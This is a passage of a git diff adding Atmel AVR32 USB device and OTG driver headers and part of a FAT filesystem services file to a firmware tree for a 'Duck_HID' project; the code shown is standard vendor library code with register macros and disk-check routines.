udd_enable_bank_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NBUSYBKES_MASK) + //! disables all banks full (OUT) or free (IN) interrupt +#define udd_disable_bank_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NBUSYBKEC_MASK) + //! tests if all banks full (OUT) or free (IN) interrupt enabled +#define Is_udd_bank_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NBUSYBKE_MASK)) + + //! tests if SHORT PACKET received +#define Is_udd_short_packet(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_SHORTPACKETI_MASK)) + //! acks SHORT PACKET received +#define udd_ack_short_packet(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_SHORTPACKETIC_MASK) + //! raises SHORT PACKET received +#define udd_raise_short_packet(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_SHORTPACKETIS_MASK) + //! enables SHORT PACKET received interrupt +#define udd_enable_short_packet_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_SHORTPACKETES_MASK) + //! disables SHORT PACKET received interrupt +#define udd_disable_short_packet_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_SHORTPACKETEC_MASK) + //! tests if SHORT PACKET received interrupt is enabled +#define Is_udd_short_packet_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_SHORTPACKETE_MASK)) + + //! Get 64-, 32-, 16- or 8-bit access to FIFO data register of selected endpoint. + //! @param ep Endpoint of which to access FIFO data register + //! @param scale Data scale in bits: 64, 32, 16 or 8 + //! @return Volatile 64-, 32-, 16- or 8-bit data pointer to FIFO data register + //! @warning It is up to the user of this macro to make sure that all accesses + //! are aligned with their natural boundaries except 64-bit accesses which + //! require only 32-bit alignment. + //! @warning It is up to the user of this macro to make sure that used HSB + //! addresses are identical to the DPRAM internal pointer modulo 32 bits. +#define udd_get_endpoint_fifo_access(ep, scale) \ + (((volatile TPASTE2(U, scale) (*)[0x10000 / ((scale) / 8)])AVR32_USBB_SLAVE)[(ep)]) + +//! @name USBB endpoint DMA drivers +//! These macros manage the common features of the endpoint DMA channels. +//! @{ + //! enables the disabling of HDMA requests by endpoint interrupts +#define udd_enable_endpoint_int_dis_hdma_req(ep) (USBB_ARRAY(uecon0set(ep) = AVR32_USBB_UECON0SET_EPDISHDMAS_MASK) + //! disables the disabling of HDMA requests by endpoint interrupts +#define udd_disable_endpoint_int_dis_hdma_req(ep) (USBB_ARRAY(uecon0clr(ep) = AVR32_USBB_UECON0CLR_EPDISHDMAC_MASK) + //! tests if the disabling of HDMA requests by endpoint interrupts is enabled +#define Is_udd_endpoint_int_dis_hdma_req_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0(ep), AVR32_USBB_UECON0_EPDISHDMA_MASK)) + + //! raises the selected endpoint DMA channel interrupt +#define udd_raise_endpoint_dma_interrupt(ep) (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_DMA1INTS_MASK << ((ep) - 1)) + //! tests if an interrupt is triggered by the selected endpoint DMA channel +#define Is_udd_endpoint_dma_interrupt(ep) (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_DMA1INT_MASK << ((ep) - 1))) + //! enables the selected endpoint DMA channel interrupt +#define udd_enable_endpoint_dma_interrupt(ep) (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_DMA1INTES_MASK << ((ep) - 1)) + //! disables the selected endpoint DMA channel interrupt +#define udd_disable_endpoint_dma_interrupt(ep) (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_DMA1INTEC_MASK << ((ep) - 1)) + //! tests if the selected endpoint DMA channel interrupt is enabled +#define Is_udd_endpoint_dma_interrupt_enabled(ep) (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_DMA1INTE_MASK << ((ep) - 1))) + + //! Access points to the USBB device DMA memory map with arrayed registers + //! @{ + //! Structure for DMA registers +typedef struct { + union { + unsigned long nextdesc; + avr32_usbb_uddma1_nextdesc_t NEXTDESC; + }; + unsigned long addr; + union { + unsigned long control; + avr32_usbb_uddma1_control_t CONTROL; + }; + union { + unsigned long status; + avr32_usbb_uddma1_status_t STATUS; + }; +} avr32_usbb_uxdmax_t; + //! Structure for DMA registers +#define USBB_UDDMA_ARRAY(ep) (((volatile avr32_usbb_uxdmax_t *)&AVR32_USBB.uddma1_nextdesc)[(ep) - 1]) + + //! Set control desc to selected endpoint DMA channel +#define udd_endpoint_dma_set_control(ep,desc) (USBB_UDDMA_ARRAY(ep).control=desc) + //! Get control desc to selected endpoint DMA channel +#define udd_endpoint_dma_get_control(ep) (USBB_UDDMA_ARRAY(ep).control) + //! Set RAM address to selected endpoint DMA channel +#define udd_endpoint_dma_set_addr(ep,add) (USBB_UDDMA_ARRAY(ep).addr=add) + //! Get status to selected endpoint DMA channel +#define udd_endpoint_dma_get_status(ep) (USBB_UDDMA_ARRAY(ep).status) + //! @} +//! @} + +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + + //! tests if SETUP received +#define Is_udd_setup_received(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RXSTPI_MASK)) + //! acks SETUP received +#define udd_ack_setup_received(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_RXSTPIC_MASK) + //! raises SETUP received +#define udd_raise_setup_received(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_RXSTPIS_MASK) + //! enables SETUP received interrupt +#define udd_enable_setup_received_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXSTPES_MASK) + //! disables SETUP received interrupt +#define udd_disable_setup_received_interrupt() (USBB_ARRAY(uecon0clr(EP_CONTROL) = AVR32_USBB_UECON0CLR_RXSTPEC_MASK) + //! tests if SETUP received interrupt is enabled +#define Is_udd_setup_received_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXSTPE_MASK)) + + //! tests if OUT received +#define Is_udd_out_received(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RXOUTI_MASK)) + //! acks OUT received +#define udd_ack_out_received(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_RXOUTIC_MASK) + //! raises OUT received +#define udd_raise_out_received(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_RXOUTIS_MASK) + //! enables OUT received interrupt +#define udd_enable_out_received_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXOUTES_MASK) + //! disables OUT received interrupt +#define udd_disable_out_received_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_RXOUTEC_MASK) + //! tests if OUT received interrupt is enabled +#define Is_udd_out_received_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXOUTE_MASK)) + + //! tests if IN sending +#define Is_udd_in_send(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_TXINI_MASK)) + //! acks IN sending +#define udd_ack_in_send(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_TXINIC_MASK) + //! raises IN sending +#define udd_raise_in_send(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_TXINIS_MASK) + //! enables IN sending interrupt +#define udd_enable_in_send_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_TXINES_MASK) + //! disables IN sending interrupt +#define udd_disable_in_send_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_TXINEC_MASK) + //! tests if IN sending interrupt is enabled +#define Is_udd_in_send_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_TXINE_MASK)) +//! @} + +//! @} + +#endif // _USBB_DEVICE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_otg.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_otg.h new file mode 100755 index 0000000..3117432 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_otg.h @@ -0,0 +1,234 @@ +/** + * \file + * + * \brief USBB OTG Driver header file. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USBB_OTG_H_ +#define _USBB_OTG_H_ + +#include "compiler.h" +#include "preprocessor.h" + +//! \ingroup usb_group +//! \defgroup otg_group USB OTG Driver (OTG) +//! USBB low-level driver for OTG features +//! +//! @warning Bit-masks are used instead of bit-fields because PB registers +//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit +//! accesses even when volatile unsigned int bit-fields are specified. +//! @{ + +//! @name USBB IP properties +//! These macros give access to IP properties +//! @{ + //! Get IP name part 1 or 2 +#define otg_get_ip_name() (((uint64_t)AVR32_USBB.uname2<<32)|(uint64_t)AVR32_USBB.uname1) + //! Instruction to access at a peripheral register after interrupt clear, see AVR32002 - AVR32UC Technical reference $6.6 Memory barriers +#define otg_data_memory_barrier() (AVR32_USBB.uvers) + //! Get IP version +#define otg_get_ip_version() (Rd_bitfield(AVR32_USBB.uvers, AVR32_USBB_UVERS_VERSION_NUM_MASK)) + //! Get number of metal fixes +#define otg_get_metal_fix_nbr() (Rd_bitfield(AVR32_USBB.uvers, AVR32_USBB_UVERS_METAL_FIX_NUM_MASK)) + //! Get number of hardware-implemented DMA channels +#define otg_get_dma_channel_nbr() (Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_CHANNEL_NBR_MASK)) + //! Get DMA buffer size +#define otg_get_dma_buffer_size() (Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_BUFFER_SIZE_MASK)) + //! Get DMA FIFO depth in words +#define otg_get_dma_fifo_word_depth() (((Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_FIFO_WORD_DEPTH_MASK) - 1) & ((1 << AVR32_USBB_UFEATURES_DMA_FIFO_WORD_DEPTH_SIZE) - 1)) + 1) + //! Get DPRAM size (FIFO maximal size) in bytes +#define otg_get_dpram_size() (128 << Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_FIFO_MAX_SIZE_MASK)) + //! Test if DPRAM is natively byte write capable +#define Is_otg_dpram_byte_write_capable() (Tst_bits(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_BYTE_WRITE_DPRAM_MASK)) + //! Get size of USBB PB address space +#define otg_get_ip_paddress_size() (AVR32_USBB.uaddrsize) +//! @} + +//! @name USBB OTG ID pin management +//! These macros manage the ID pin use or not to switch between Host or Device mode +//! @{ + //! Pin and function for USB_ID according to configuration from OTG_ID +#define OTG_ID_PIN ATPASTE2(OTG_ID, _PIN) +#define OTG_ID_FUNCTION ATPASTE2(OTG_ID, _FUNCTION) + + //! Input OTG_ID from its pin +#define otg_input_id_pin() \ +{\ + (Tst_bits(OTG_ID_FUNCTION, 0x01)) ?\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0s = 1 << (OTG_ID_PIN & 0x1F)) :\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0c = 1 << (OTG_ID_PIN & 0x1F)); \ + (Tst_bits(OTG_ID_FUNCTION, 0x02)) ?\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1s = 1 << (OTG_ID_PIN & 0x1F)) :\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1c = 1 << (OTG_ID_PIN & 0x1F)); \ + AVR32_GPIO.port[OTG_ID_PIN >> 5].gperc = 1 << (OTG_ID_PIN & 0x1F);\ + AVR32_GPIO.port[OTG_ID_PIN >> 5].puers = 1 << (OTG_ID_PIN & 0x1F);\ +} + //! Test if OTG_ID is input from its pin +#define Is_otg_id_pin_input() \ + ( !Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].gper, 1 << (OTG_ID_PIN & 0x1F)) &&\ + Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0, 1 << (OTG_ID_PIN & 0x1F)) == Tst_bits(OTG_ID_PIN, 0x01) &&\ + Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1, 1 << (OTG_ID_PIN & 0x1F)) == Tst_bits(OTG_ID_PIN, 0x02)) + + //! Enable external OTG_ID pin (listened to by USB) +#define otg_enable_id_pin() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Disable external OTG_ID pin (ignored by USB) +#define otg_disable_id_pin() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Test if external OTG_ID pin enabled (listened to by USB) +#define Is_otg_id_pin_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Disable external OTG_ID pin and force device mode +#define otg_force_device_mode() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK), otg_disable_id_pin()) + //! Test if device mode is forced +#define Is_otg_device_mode_forced() (!Is_otg_id_pin_enabled() && Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK)) + //! Disable external OTG_ID pin and force host mode +#define otg_force_host_mode() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK), otg_disable_id_pin()) + //! Test if host mode is forced +#define Is_otg_host_mode_forced() (!Is_otg_id_pin_enabled() && !Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK)) + +//! @name USBB OTG ID pin interrupt management +//! These macros manage the ID pin interrupt +//! @{ +#define otg_enable_id_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define otg_disable_id_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define Is_otg_id_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define Is_otg_id_device() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_ID_MASK)) +#define otg_ack_id_transition() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_IDTIC_MASK) +#define otg_raise_id_transition() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_IDTIS_MASK) +#define Is_otg_id_transition() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_IDTI_MASK)) +//! @} + +//! @} + +//! @name USBB OTG main management +//! These macros allows to enable/disable pad and USBB hardware +//! @{ + //! Enable USB macro +#define otg_enable() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) + //! Disable USB macro +#define otg_disable() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) +#define Is_otg_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) + + //! Enable OTG pad +#define otg_enable_pad() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) + //! Disable OTG pad +#define otg_disable_pad() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) +#define Is_otg_pad_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) + + //! Check Clock Usable + //! For parts with HS feature, this one corresponding at UTMI clock +#define Is_clock_usable() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_CLKUSABLE_MASK)) + + //! Stop (freeze) internal USB clock +#define otg_freeze_clock() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) +#define otg_unfreeze_clock() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) +#define Is_otg_clock_frozen() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) + + //! Configure time-out of specified OTG timer +#define otg_configure_timeout(timer, timeout) (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMPAGE_MASK, timer),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMVALUE_MASK, timeout),\ + Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK)) + //! Get configured time-out of specified OTG timer +#define otg_get_timeout(timer) (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMPAGE_MASK, timer),\ + Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Rd_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMVALUE_MASK)) + + + //! Get the dual-role device state of the internal USB finite state machine of the USBB controller +#define otg_get_fsm_drd_state() (Rd_bitfield(AVR32_USBB.usbfsm, AVR32_USBB_USBFSM_DRDSTATE_MASK)) +//! @} + +//! @name USBB OTG hardware protocol +//! These macros manages the hardware OTG protocol +//! @{ + //! initiates a Host Negociation Protocol +#define otg_device_initiate_hnp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! accepts a Host Negociation Protocol +#define otg_host_accept_hnp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! rejects a Host Negociation Protocol +#define otg_host_reject_hnp() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! initiates a Session Request Protocol +#define otg_device_initiate_srp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPREQ_MASK)) + //! selects VBus as SRP method +#define otg_select_vbus_srp_method() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) +#define Is_otg_vbus_srp_method_selected() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) + //! selects data line as SRP method +#define otg_select_data_srp_method() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) +#define Is_otg_data_srp_method_selected() (!Is_otg_vbus_srp_method_selected()) + //! tests if a HNP occurs +#define Is_otg_hnp() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! tests if a SRP from device occurs +#define Is_otg_device_srp() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPREQ_MASK)) + + //! enables HNP error interrupt +#define otg_enable_hnp_error_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) + //! disables HNP error interrupt +#define otg_disable_hnp_error_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) +#define Is_otg_hnp_error_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) + //! acks HNP error interrupt +#define otg_ack_hnp_error_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_HNPERRIC_MASK) + //! raises HNP error interrupt +#define otg_raise_hnp_error_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_HNPERRIS_MASK) + //! tests if a HNP error occurs +#define Is_otg_hnp_error_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_HNPERRI_MASK)) + + //! enables role exchange interrupt +#define otg_enable_role_exchange_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) + //! disables role exchange interrupt +#define otg_disable_role_exchange_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) +#define Is_otg_role_exchange_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) + //! acks role exchange interrupt +#define otg_ack_role_exchange_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_ROLEEXIC_MASK) + //! raises role exchange interrupt +#define otg_raise_role_exchange_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_ROLEEXIS_MASK) + //! tests if a role exchange occurs +#define Is_otg_role_exchange_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_ROLEEXI_MASK)) + + //! enables SRP interrupt +#define otg_enable_srp_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) + //! disables SRP interrupt +#define otg_disable_srp_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) +#define Is_otg_srp_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) + //! acks SRP interrupt +#define otg_ack_srp_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_SRPIC_MASK) + //! raises SRP interrupt +#define otg_raise_srp_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_SRPIS_MASK) + //! tests if a SRP occurs +#define Is_otg_srp_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_SRPI_MASK)) +//! @} + +//! @} + +#endif // _USBB_OTG_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.c new file mode 100755 index 0000000..765d079 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.c @@ -0,0 +1,2002 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the FAT accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#define _fat_c_ + +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "fs_com.h" +#include "fat.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//! \name Store navigator datas no selected +//! @{ +#if (FS_NB_NAVIGATOR > 1) +_MEM_TYPE_SLOW_ Fs_management fs_g_navext[FS_NB_NAVIGATOR-1]; +_MEM_TYPE_SLOW_ Fs_management_fast fs_g_navext_fast[FS_NB_NAVIGATOR-1]; +_MEM_TYPE_SLOW_ Fs_management_entry fs_g_navext_entry[FS_NB_NAVIGATOR-1]; +#endif +//! @} + +//! \name Variables to manage cluster list caches +//! @{ +_MEM_TYPE_SLOW_ Fs_clusterlist_cache fs_g_cache_clusterlist[FS_NB_CACHE_CLUSLIST*2]; +_MEM_TYPE_SLOW_ uint8_t fs_g_u8_current_cache; +//! @} + +//_____ D E C L A R A T I O N S ____________________________________________ + + +void fat_cache_clusterlist_update_start ( Bool b_for_file ); +void fat_cache_clusterlist_update_finish ( void ); +Bool fat_cache_clusterlist_update_read ( Bool b_for_file ); +void fat_cache_clusterlist_update_select ( void ); + + + +//! This function checks device state +//! +//! @return true device ready +//! @return false otherwise +//! +//! @verbatim +//! This function updates all navigator datas when the device state change. +//! @endverbatim +//! +Bool fat_check_device( void ) +{ + uint8_t retry=0; +#if (FS_NB_NAVIGATOR > 1) + uint8_t i; +#endif + Ctrl_status status; + + // Possibility to ignore the disk check. Used to take time during multi read/write access + if( g_b_no_check_disk ) + return true; + + if( 0xFF == fs_g_nav.u8_lun ) + { + fs_g_status = FS_ERR_HW; + return false; // No device selected + } + + for( retry=0 ; retry<100 ; retry++ ) + { + // Check device + status = mem_test_unit_ready( fs_g_nav.u8_lun ); + if( CTRL_GOOD == status ) + return true; // drive ready + + //* HERE error or state change + // Clean all navigator datas which use this device + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + Fat_file_close(); // By default the file is not open +#if (FS_NB_NAVIGATOR > 1) + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) + { + fs_g_navext_fast[i].u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_navext_entry[i].u8_open_mode = 0; // By default the file is not open + } + } +#endif + // If the internal cache corresponding at device then clean it + if( fs_g_nav.u8_lun == fs_g_sectorcache.u8_lun ) + { + fat_cache_reset(); + } + fat_cache_clusterlist_reset(); + + fs_g_status = FS_ERR_HW; // By default HW error + if( CTRL_BUSY == status ) + continue; // If device busy then retry + + if( CTRL_NO_PRESENT == status ) + fs_g_status = FS_ERR_HW_NO_PRESENT; // Update error flag + break; // FAIL or NOT PRESENT = fatal error = no retry + } + return false; +} + + +//! This function checks if the partition is mounted +//! +//! @return true partition mounted +//! @return false otherwise +//! +Bool fat_check_mount( void ) +{ + if( !fat_check_device() ) + return false; + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + { + if( !fat_mount() ) + { + fs_g_status = FS_ERR_NO_MOUNT; + return false; + } + } + return true; +} + + +//! This function checks if a file is not opened on current navigator +//! +//! @return true no file opened +//! @return false otherwise +//! +Bool fat_check_noopen( void ) +{ + if( !fat_check_device() ) + return true; + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return true; + if( Fat_file_is_open() ) + { + fs_g_status = FS_ERR_TOO_FILE_OPEN; // The navigation have already open a file + return false; + } + return true; +} + + +//! This function checks if a file is opened on current navigator +//! +//! @return true a file is opened +//! @return false otherwise +//! +Bool fat_check_open( void ) +{ + if( Fat_file_isnot_open() ) + { + fs_g_status = FS_ERR_FILE_NO_OPEN; + return false; + } + return true; +} + + +//! This function checks if a file is selected on current navigator +//! +//! @return true a file is selected +//! @return false otherwise +//! +Bool fat_check_select( void ) +{ + if 